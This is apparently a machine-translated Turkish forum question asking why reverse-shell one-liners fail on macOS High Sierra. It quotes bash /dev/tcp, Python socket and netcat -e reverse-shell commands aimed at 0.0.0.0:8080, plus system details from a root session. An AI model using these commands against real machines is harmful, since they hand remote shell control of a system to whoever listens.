High Sierra kullanarak ters bir kabuk dinleyicisi oluşturmaya çalışıyorum ama hiçbir şey işe yaramadı.
Bash komutu sadece terminalde asılı ve zaman aşımına uğradı.
bash -i >& /dev/tcp/0.0.0.0/8080 0>&1
Python komutu python veya python v2.7 kullanılırken "Bağlantı reddedildi" hatası veriyor.
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
"nc: invalid option -e" ile netcat komutu hataları
nc -e /bin/bash 0.0.0.0 8080
Çevrimiçi bulduğum başka çözümleri de denedim ama siz anladınız ...
High Sierra kullanarak ters bir kabuk (tercihen bash erişimi olan) oluşturmak mümkün müdür?
özellikler:
sh-3.2# system_profiler SPSoftwareDataType
Software:
System Software Overview:
System Version: macOS 10.13.4 (17E199)
Kernel Version: Darwin 17.5.0
Boot Volume: lily
Boot Mode: Normal
Computer Name: lily’s MacBook Air
User Name: System Administrator (root)
Secure Virtual Memory: Enabled
System Integrity Protection: Enabled
Time since boot: 2:03
man mkfifo
ama hala bir beşliğin ne olduğunu tam olarak anlamadım, üzgünüm!